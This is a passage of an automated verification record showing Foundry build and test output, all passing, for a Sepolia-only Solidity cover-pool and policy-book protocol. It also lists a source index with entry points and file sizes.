test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_deploymentOnMainnetIsRejectedForEveryApplication() (gas: 4439)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 11771515)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 136.32ms (33.82ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1152825, ~: 526998)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 101954)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59157)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14409692)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 431976)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1744788)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2348625)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 396816)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 163705)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 110782)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111312)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129203)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 151997)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 136.44ms (165.49ms CPU time)\n\nRan 17 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3219189, ~: 1291638)\nLogs:\n  Bound result 0\n  Bound result 14159918\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 968909)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68457)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 439363)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 583890)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 516671)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 968490)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 576185)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1205305)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 728101)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 594903)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 98761)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 629723)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 536544)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 262893)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 651652)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 257951)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 220.87ms (227.98ms CPU time)\n\nRan 9 tests for test/PolicyFailureMatrix.t.sol:PolicyFailureMatrixTest\n[PASS] test_bothPausesStillAllowFreeLiquidityWithdrawal() (gas: 807956)\n[PASS] test_everyProductImmediatelyBelowAtAndAboveItsThreshold() (gas: 357920079)\n[PASS] test_expiredPolicyCannotBeReplayedAfterFurtherCertification() (gas: 966818)\n[PASS] test_frontierOneShortRejectsEvenFullyAvailableActiveRecords() (gas: 1357438)\n[PASS] test_holderBalanceFailureAfterApprovalDoesNotConsumeAnIdOrAllowance() (gas: 826468)\n[PASS] test_oldQuoteCannotOpenAfterStartRoundBecomesCurrent() (gas: 301202)\n[PASS] test_secondPageFailureCannotPartiallySettleOrReleaseCover() (gas: 2878486)\n[PASS] test_snapshotReadFailuresPreserveOpenPolicyAndPermitRetry() (gas: 1084746)\n[PASS] test_unsolicitedBookBalanceCannotSubsidizeOrDivertPremiums() (gas: 681333)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 284.74ms (292.72ms CPU time)\n\nRan 8 tests for test/PremiumArithmeticProperties.t.sol:PremiumArithmeticPropertiesTest\n[PASS] testFuzz_bothRoundingStepsChooseTheLeastSufficientInteger(uint128,uint128,uint128,uint16,uint16) (runs: 1000, μ: 84672, ~: 84454)\nLogs:\n  Bound result 447\n  Bound result 371\n  Bound result 7\n  Bound result 5061\n  Bound result 50\n\n[PASS] testFuzz_fullUtilizationSupportsUint256Amounts(uint256,uint16,uint16) (runs: 1000, μ: 76089, ~: 75882)\nLogs:\n  Bound result 9001\n  Bound result 23\n  Bound result 8293\n\n[PASS] testFuzz_moreLiquidityNeverRaisesTheSameCoverPremium(uint128,uint128,uint128,uint128) (runs: 1000, μ: 84996, ~: 84943)\nLogs:\n  Bound result 24000000000000000000\n  Bound result 12000000000000000000\n  Bound result 1408\n\n[PASS] testFuzz_unsupportedDurationCannotBeConfiguredOrQuoted(uint16) (runs: 1000, μ: 34917, ~: 34919)\n[PASS] testFuzz_unsupportedThresholdCannotBeConfiguredOrQuoted(uint16) (runs: 1000, μ: 34982, ~: 34978)\n[PASS] test_invalidRateCannotOverwriteConfiguredTerms() (gas: 116061)\n[PASS] test_maximumCoverAtMaximumRateIsExactAndDoesNotOverflow() (gas: 77236)\n[PASS] test_maximumReservedAndEmptyAssetsFailWithLiquidityError() (gas: 86334)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 500.62ms (1.24s CPU time)\n\nRan 4 tests for test/CoreReaderProperties.t.sol:CoreReaderPropertiesTest\n[PASS] testFuzz_countIsAdditiveAcrossSupportedWindows(uint256,uint16) (runs: 256, μ: 10300291, ~: 6760305)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_snapshotTracksExactClockBoundary(uint32,uint16) (runs: 256, μ: 138513, ~: 138827)\nLogs:\n  Bound result 0\n\n[PASS] test_allAdditionalPageValidationFailuresPreserveReservations() (gas: 1967447)\n[PASS] test_eachInvalidConfigurationBlocksPurchasesBeforeCollectingPremium() (gas: 570760)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 508.48ms (611.65ms CPU time)\n\nRan 2 tests for test/MockSQKStateMachine.t.sol:MockSQKStateMachineTest\n[PASS]\nMockSQKStateMachineTest invariants:\n[PASS] invariant_allowancesAndOwnershipMatchIndependentLedger\n[PASS] invariant_supplyAndAllBalancesMatchIndependentLedger\n MockSQKStateMachineTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭----------------+------------------------+-------+---------+----------╮\n| Contract       | Selector               | Calls | Reverts | Discards |\n+======================================================================+\n| MockSQKHandler | acceptOwner            | 2013  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | approve                | 2122  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | mint                   | 2037  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | proposeOwner           | 2018  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | rejectInvalidOperation | 2097  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | transfer               | 4076  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | transferFrom           | 2021  | 0       | 0        |\n╰----------------+------------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 0\n  Bound result 24\n  Bound result 0\n  Bound result 1242826417\n  Bound result 0\n  Bound result 7386618710623562903382896\n  Bound result 601\n  Bound result 0\n  Bound result 64077372157786121731620567\n  Bound result 8201\n  Bound result 2\n  Bound result 8115\n  Bound result 669136356\n  Bound result 0\n  Bound result 0\n  Bound result 5000\n  Bound result 12\n  Bound result 0\n  Bound result 1418073905834\n  Bound result 3\n  Bound result 5220\n  Bound result 11\n  Bound result 8957\n  Bound result 666101154096\n  Bound result 229\n  Bound result 9752\n  Bound result 0\n  Bound result 9980\n  Bound result 519\n  Bound result 601\n  Bound result 921\n\n[PASS] test_handlerExercisesFiniteInfiniteAndSelfTransfersAcrossHandover() (gas: 1848282)\nLogs:\n  Bound result 100\n  Bound result 17\n  Bound result 19\n  Bound result 20\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.51s (4.51s CPU time)\n\nRan 4 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n[PASS] invariant_policyTermsAndTerminalStatesMatchPurchaseHistory\n SolvencyInvariantTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+-----------------------+-------+---------+----------╮\n| Contract     | Selector              | Calls | Reverts | Discards |\n+===================================================================+\n| CoverHandler | advance               | 1355  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | deposit               | 1327  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | donate                | 1369  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | elapse                | 1376  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | open                  | 1368  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | pause                 | 1389  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | redeem                | 1343  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | rejectEarlyOrReplay   | 1350  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | reprice               | 1371  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | roundTrip             | 1310  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | settle                | 1452  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | transferBetweenActors | 1374  | 0       | 0        |\n╰--------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 2\n  Bound result 525\n  Bound result 525\n  Bound result 50\n  Bound result 4674\n  Bound result 34\n  Bound result 1514264337593535147206\n  Bound result 7231\n  Bound result 1979\n  Bound result 6542890687369431173395\n  Bound result 141\n  Bound result 6\n  Bound result 730641187828177334231\n  Bound result 1\n  Bound result 5\n  Bound result 5167\n  Bound result 5167\n  Bound result 5167\n  Bound result 5167\n  Bound result 5167\n  Bound result 3192\n  Bound result 2281\n  Bound result 6\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 2843\n  Bound result 610259104550715044800\n  Bound result 1\n  Bound result 84930399851187990938\n  Bound result 2032\n  Bound result 172\n  Bound result 3\n  Bound result 5263\n  Bound result 5263\n  Bound result 5263\n  Bound result 288966591572976437661\n  Bound result 675\n  Bound result 1\n  Bound result 504620423043101\n  Bound result 1\n  Bound result 500\n  Bound result 1\n  Bound result 3375\n  Bound result 1\n  Bound result 1\n  Bound result 27\n  Bound result 1001\n  Bound result 1\n  Bound result 1793518920\n  Bound result 9000\n  Bound result 690\n  Bound result 6\n  Bound result 100\n  Bound result 2336\n  Bound result 1\n  Bound result 1\n  Bound result 214317211265\n  Bound result 1133629277865\n  Bound result 1\n  Bound result 1\n  Bound result 20289\n  Bound result 16689\n  Bound result 2\n  Bound result 98758015949026343205\n  Bound result 98758015949026343205\n  Bound result 1\n  Bound result 5\n  Bound result 146\n  Bound result 146\n  Bound result 146\n  Bound result 146\n  Bound result 146\n  Bound result 17186\n  Bound result 69\n  Bound result 86\n  Bound result 6066\n\n[PASS] test_handlerExercisesRoundingRepricingFailureAndExpiryPaths() (gas: 3211816)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 1\n  Bound result 10000\n  Bound result 0\n  Bound result 8\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 7\n  Bound result 1\n  Bound result 1\n  Bound result 8\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000000\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1427627)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\n[PASS] test_handlerRoundTripsAfterCoveredLossAndWhilePaused() (gas: 1918158)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 8\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 5.79s (5.79s CPU time)\n\nRan 13 test suites in 5.79s (12.28s CPU time): 92 tests passed, 0 failed, 0 skipped (92 total tests)\n","passed":true},{"durationMs":79,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":70,\"README.md\":90,\"THREATS.md\":62,\"dependency-checksums.json\":59,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":133,\"src/CoverPool.sol\":171,\"src/CoverTerms.sol\":34,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/PolicyBook.sol\":159,\"src/PremiumModel.sol\":51,\"src/SepoliaOnly.sol\":11,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoreReaderProperties.t.sol\":104,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":109,\"test/MockSQKStateMachine.t.sol\":274,\"test/PolicyBook.t.sol\":240,\"test/PolicyFailureMatrix.t.sol\":261,\"test/PremiumAndOwnership.t.sol\":146,\"test/PremiumArithmeticProperties.t.sol\":128,\"test/README.md\":83,\"test/RecordedCore.t.sol\":48,\"test/SolvencyInvariant.t.sol\":376,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":120},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"4a1372cbbe22f61584817c6de599065b3dc44eeb0bbcf6bda9f7e4258b643169","verifiedTreeHash":"4042cac835c65b671e6fc1dc65c45156a110f1a8","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":6000,"exitCode":0,"name":"build","output":"Compiling 60 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.88s\nCompiler run successful!\n","passed":true},{"durationMs":2320,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69551)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 734.16µs (537.41µs CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 606591)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 1389490)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 449643)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 1570024)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 1158564)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 1255271)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 1298528)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 9.74ms (4.84ms CPU time)\n\nRan 9 tests for test/SettlementGate.t.sol:SettlementGateTest\n[PASS] test_certifiedLossIsSharedByEveryLpPresentAtTheSale() (gas: 1586078)\n[PASS] test_earliestOpenEndTracksSettlementInAnyOrder() (gas: 3172244)\n[PASS] test_gateClosesAsSoonAsCertifiedHistoryFixesThePayout() (gas: 1465770)\n[PASS] test_gateFailsOpenWhenOnlyHistoryCannotBeRead() (gas: 1608562)\n[PASS] test_gateFailsOpenWhenTheCoreCannotBeRead() (gas: 1154119)\n[PASS] test_gateHoldsWhileAnyDecidedPolicyIsOpen() (gas: 3231633)\n[PASS] test_reviewReopensTheGateForAnUndecidedPolicy() (gas: 2048111)\n[PASS] test_settlementSurvivesRaisedOrLoweredCoreBatchLimit() (gas: 4880462)\n[PASS] test_startRoundLeadIsCapped() (gas: 305381)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 102.74ms (18.50ms CPU time)\n\nRan 2 tests for test/SettlementGate.t.sol:OpenEndRoundsTest\n[PASS] testFuzz_earliestMatchesNaiveMinimum(uint64[8],uint8) (runs: 512, μ: 876097, ~: 865820)\nLogs:\n  Bound result 68\n  Bound result 200000\n  Bound result 2\n  Bound result 200000\n  Bound result 3573\n  Bound result 244\n  Bound result 299\n  Bound result 110\n\n[PASS] test_spansWordsAndSummaryWordsAndEmptiesCleanly() (gas: 1019544)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 392.24ms (392.41ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1166718, ~: 527836)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 103366)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59343)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14415964)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 432792)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1746481)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2349926)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 397766)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 164340)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 111404)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111930)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129197)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 152881)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 584.39ms (613.24ms CPU time)\n\nRan 19 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3704841, ~: 1756429)\nLogs:\n  Bound result 0\n  Bound result 1219\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 1316718)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68647)\n[PASS] test_earlyExpiryReleasesReserveOnceTheThresholdIsUnreachable() (gas: 1131132)\n[PASS] test_earlySettlementPaysOnlyWhenCertifiedZeroRoundsAlreadyMeetTheThreshold() (gas: 1237337)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 752303)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 897860)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 829901)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 1318971)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 889400)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1745173)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 1080575)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 947550)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 99249)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 982008)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 888828)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 264011)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 1453390)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 570868)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 605.71ms (315.88ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77516, ~: 77587)\nLogs:\n  Bound result 719206529\n  Bound result 371788003\n  Bound result 196\n  Bound result 3165\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 168960)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 632.36ms (632.13ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsDoNotDependOnChainIdOrCaller() (gas: 1747777)\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 14929935)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 639.20ms (43.12ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 350718, ~: 349489)\nLogs:\n  Bound result 2094111613048600848925\n  Bound result 2514264337593536027518\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152216)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 993477)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 189341)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 257731)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 366063)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 321113)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 974234)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 800125)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 41829)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 1106707)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 1343090)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 639.38ms (646.41ms CPU time)\n\nRan 6 tests for test/ShareSupply.t.sol:ShareSupplyTest\n[PASS] testFuzz_retirementNeverTakesMoreThanDust(uint96) (runs: 512, μ: 8823002, ~: 8802798)\nLogs:\n  Bound result 2304576\n\n[PASS] testFuzz_totalSharesNeverExceedCapAndPreviewsNeverPanic(uint96,uint8) (runs: 512, μ: 3699496, ~: 2265415)\nLogs:\n  Bound result 3\n  Bound result 10000000000000000000000\n\n[PASS] test_recapitalizationSucceedsAfterThreeCompleteLossesByRetiringWorthlessShares() (gas: 8942567)\n[PASS] test_residualDustBehindExhaustedSupplyIsCarriedIntoTheNewEpoch() (gas: 9056964)\n[PASS] test_sharesWorthMoreThanDustAreNeverRetiredAndOverflowingDepositsRevertCleanly() (gas: 9046641)\n[PASS] test_supplyCapRejectsTheDepositThatWouldBreakPreviewsAndVictimStaysLiquid() (gas: 9150351)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 639.34ms (1.12s CPU time)\n\nRan 2 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n SolvencyInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| CoverHandler | advance  | 981   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | deposit  | 964   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | donate   | 1038  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | elapse   | 1014  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | open     | 1092  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | pause    | 1037  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | redeem   | 1012  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | settle   | 1054  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 4195\n  Bound result 8524373659279509695847\n  Bound result 10000000000000000000000\n  Bound result 234\n  Bound result 1015\n  Bound result 1\n  Bound result 26441138205160868906003\n  Bound result 97\n  Bound result 1889567280\n  Bound result 3468\n  Bound result 1\n  Bound result 10029\n  Bound result 431812692411897626848\n  Bound result 5197\n  Bound result 10000000000000000000000000\n  Bound result 6\n  Bound result 1207233506\n  Bound result 13203\n  Bound result 1\n  Bound result 1390\n  Bound result 295\n  Bound result 1\n  Bound result 31238880306\n  Bound result 86\n  Bound result 1\n  Bound result 41934465228713149896\n  Bound result 1\n  Bound result 1\n  Bound result 2652434065314230\n  Bound result 6349\n  Bound result 125\n  Bound result 3776\n  Bound result 24\n  Bound result 107\n  Bound result 1\n  Bound result 104\n  Bound result 1325906736\n  Bound result 1\n  Bound result 100\n  Bound result 1101\n  Bound result 5206\n  Bound result 1\n  Bound result 10000000000000000000000000\n  Bound result 46\n  Bound result 2688\n  Bound result 3660\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1471094)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.16s (2.15s CPU time)\n\nRan 11 test suites in 2.16s (6.40s CPU time): 83 tests passed, 0 failed, 0 skipped (83 total tests)\n","passed":true},{"durationMs":77,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.review(uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":72,\"README.md\":105,\"THREATS.md\":77,\"dependency-checksums.json\":60,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"launch.json\":32,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":170,\"